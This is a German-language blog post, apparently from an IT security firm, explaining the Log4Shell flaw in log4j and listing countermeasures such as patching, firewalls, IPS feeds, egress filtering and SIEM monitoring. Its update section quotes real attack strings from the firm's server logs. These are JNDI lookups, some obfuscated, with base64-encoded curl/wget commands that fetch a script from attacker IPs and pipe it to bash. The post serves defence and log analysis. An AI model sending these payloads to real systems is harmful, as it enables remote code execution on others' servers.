Am 10.12.2021 wurde eine gravierende Sicherheitslücke in einer weit verbreiteten Java-Bibliothek bekannt. Dies betrifft die Komponente log4j, die Programmierern die Arbeit abnimmt, Log-Meldungen eines Systems zu verwalten.
Die Schwachstelle wurde jetzt als CVE-2021-44228 veröffentlicht. Eine große Bedeutung bekommt die Sicherheitslücke auch dadurch, dass das BSI die Warnstufe Rot ausgegeben hat, was nur sehr selten vorkommt (Update: Pressekonferenz des BSI vom 13.12.2021).
Wer ist betroffen?
Potenziell sind alle Software-Produkte betroffen, die auf Java setzen. Das ist kein Generalverdacht gegen die Programmiersprache selbst, sondern liegt einfach in der Verbreitung von log4j. Selbst Programmieranfänger kommen schnell auf den Wunsch, Log-Meldungen zentral zu verwalten, um die Logs einheitlich umzulenken oder den Schweregrad der Meldungen zu ändern (beispielsweise von „critical“ auf „debug“ und wieder zurück).
Ist log4j im Einsatz, kommt es noch auf die Version an: alles ab 2.0-beta9 bis unter der Version 2.15.0 ist mit der Schwachstelle versehen. Update: Inzwischen ist die Version 2.16.0 herausgegeben wurden.
Übrigens: das bei vielen Jugendlichen so beliebte Spiel Minecraft ist ebenfalls betroffen, zumindest wenn man einen eigenen Server hostet (was nicht schwer ist).
Wie funktioniert die Schwachstelle?
Sobald eine Logmeldung an log4j übergeben wurde, fängt die Bibliothek an, die Meldung zu interpretieren und gegebenenfalls Nachrichten nachzuladen. Das, was dann nachgeladen wird, führt Java einfach aus:
"GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1[truncated]=} HTTP/1.1"
Das ist eine Meldung, die wir auf unseren Servern gefunden haben. Die Anwendung soll nun sagen, dass sie x mit dem Variablennamen nicht kennt, in das Log-System schreiben, damit log4j dann den Aufruf jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1[truncated] startet.
Wenn die IT-Forensiker diese Anfrage auflösen, erhalten sie Programmcode („Payload“) aus dem Internet, der dann ausgeführt vom Server ausgeführt wird. So gibt es bereits Payloads, die dafür sorgen, dass der betroffene Server Cryptowährungen für die Angreifer schürft.
Gegenmaßnahme 1: Programmcode-Update
Wer selbst solche Anwendungen geschrieben hat, lädt sich natürlich die neue Bibliotheksversion herunter, bindet sie in das eigene Projekt ein und startet einen neuen Build.
Aber Achtung, bitte auch an andere Projektbestandteile denken, die wiederum mit einer eigenen log4j-Bibliothek arbeiten. So scheint auch der Wildfly Application Server mit log4j zu arbeiten.
Gegenmaßnahme 2: Hersteller-Updates
Sobald die Hersteller ihre eigenen Software-Produkte überprüft haben, müssen die Administratoren die Updates einspielen. Dazu legen wir eine Liste mit potentiellen Anwendungen an und überprüfen regelmäßig die Meldungen der Hersteller zu diesem Thema. Ist ein System nicht betroffen, markieren wir das entsprechend. Achtung: selbst Anwendungen, die nicht auf einem Server laufen, sind potentiell gefährdet. Auch Java-Clients auf dem PC können mit log4j gebaut sein.
Gegenmaßnahme 3: Web Application Firewall
Viele Anwendungen sind heutzutage webbasierte Anwendungen. HTTP-Requests auf das ganze Internet loszulassen ist selbst für Script-Kiddies nicht allzu schwer. Darum sind vor allem Java-basierte Web-Anwendungen im Fokus. Jedoch sind die entsprechenden Muster für diese Angriffsart gar nicht so leicht zu formulieren. Einige haben sogar schon aufgegeben, Universalmuster für den Log4Shell-Angriff zu finden.
Gegenmaßnahme 4: Intrusion Prevention System
Sofern man nicht verhindern kann, dass die Anfragen in das Netzwerk hineinkommen, dann sollte man sicherstellen, dass die entsprechenden Anfragen nicht zurück in das Internet geschickt werden.
Intrusion Prevention Systems können Listen von IP-Adressen, DNS-Namen, Domains, URLs oder andere Auffälligkeiten importieren und jede Anfrage daraufhin überprüfen. Sobald eine log4j-Anfrage bis zum Server durchgekommen ist, kann ein IPS verhindern, dass das Ziel angesprochen wird – sofern das Ziel auf den importierten Listen („Feeds“) enthalten ist. Das hat maßgeblich mit den abonnierten Feed zu tun: je aktueller die Listen, desto tiefer müssen Firmen in die Tasche greifen. Allerdings sind auch schon die kostenfreien Feeds nicht zu verachten. Die große Masse an Gießkannen-Anfragen werden dadurch deutlich unterbunden, die zielgerichteten Anfragen eher nicht.
Wer denkt, dass diese Systeme teuer und in-performant sind, darf sich gerne von uns vom Gegenteil überzeugen lassen.
Gegenmaßnahme 5: Ausgehende Anfragen unterbinden
Wir vertreten grundsätzlich die Meinung, dass Server keinen direkten und ungefilterten Zugriff auf das Internet haben sollten. Systeme, die direkt nach außen sprechen, packen wir daher gerne in eine separate DMZ. Der Leitspruch ist: „keine bidirektionalen Regeln mit dem Internet“.
Für relevante Requests bieten sich HTTP-Proxys mit entsprechenden Ziel-URL-Mustern an. Das klingt in erster Linie nach einer Menge Arbeit und weniger Flexibilität, jedoch zeigt diese große Lücke wieder einmal, dass der Bedarf nach Security By Design mehr denn je erforderlich ist.
Gegenmaßnahme 6: Logdatei-Analyse mit einem SIEM
Auch wenn ein SIEM nicht unbedingt in jedem Unternehmen im Einsatz ist, sollte es das so langsam sein. Auch ist der Einstieg nicht so aufwändig, wie es manche meinen. Ein SIEM bedarf zwar einer guten Planung (welche Log-Quellen, welche Dienste, wieviel Speicher benötigen wir, welche KPIs und Metriken sind wichtig, usw.), aber hinterher hilft es bei vielen Fragen: warum funktioniert unsere Anwendung nicht? Was war gestern Nacht los? Viele Mitarbeitende loggen sich aus dem Ausland ein?
In diesem konkreten Fall zeigt das SIEM auch Angriffsversuche an, die möglicherweise bis zum Server durchgekommen sind. Eine Sofort-Maßnahme könnte dann sein, den Server zu isolieren und zu untersuchen. Ein SIEM könnte beispielsweise auch schon Aufschlüsse darüber geben, seit wann es bereits Log4Shell-Versuche gibt. Unser SIEM hat Anfragen mit „jndi“ bereits am 08.12.2021 protokolliert, obwohl die Lücke erst seit 10.12.2021 öffentlich wurde…
Update! Wie können Log-Einträge aussehen?
Die folgenden Logfile-Einträge vom IIS, Apache, nginx, im Graylog oder Splunk haben wir bereits finden können:
user_agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.146.164.160:1389/t}
user_agent: "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82My4xMzEuMTMwLjIwODo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC82My4xMzEuMTMwLjIwODo4MCl8YmFzaA==}"
user_agent: ${jndi:dns://45.83.64.1/securityscan-http80
user_agent: /${jndi:ldap://45.83.193.150:1389/Exploit}
Request: GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84NC4xNDIuMTA2LjQ1OjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0Lzg0LjE0Mi4xMDYuNDU6ODApfGJhc2g=}
Referer: "http://84.142.106.45:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84NC4xNDIuMTA2LjQ1OjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0Lzg0LjE0Mi4xMDYuNDU6ODApfGJhc2g=}"
user_agent: "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84NC4xNDIuMTA2LjQ1OjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0Lzg0LjE0Mi4xMDYuNDU6ODApfGJhc2g=}"
Referer: ${jndi:dns://84-142-106-45.scanworld.net/ref}
user_agent: ${jndi:dns://84-142-106-45.scanworld.net/ua}
Request: /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84NC4xNDIuMTA2LjQ1OjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0Lzg0LjE0Mi4xMDYuNDU6ODApfGJhc2g=}
Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84NC4xNDIuMTA2LjQ1OjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0Lzg0LjE0Mi4xMDYuNDU6ODApfGJhc2g=}
user_agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84NC4xNDIuMTA2LjQ1OjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0Lzg0LjE0Mi4xMDYuNDU6ODApfGJhc2g=}
Wie man erkennen kann, werden die jndi:-Requests auch verschleiert. Sofern man nur nach jndi in den Logs sucht, findet man nicht alle Angriffe. Schaut danach in eure DNS und Firewall-Logs, ob diese Ziel-IP-Adressen auftauchen. Die entsprechenden Quellen sind dann anfällig für Log4Shell.
Quellen
- https://www.dfn-cert.de/aktuell/log4j-kritische-schwachstelle-CVE-2021-44228.html
- https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
- https://www.heise.de/ratgeber/Schutz-vor-Log2j-Luecke-was-hilft-jetzt-und-was-eher-nicht-6292961.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://medium.com/geekculture/log4shell-zero-day-exploit-walkthrough-f42352612ca6
- https://www.borncity.com/blog/2021/12/10/0-day-in-java-log4j-bibliothek-tangiert-zahlreiche-anbieter/
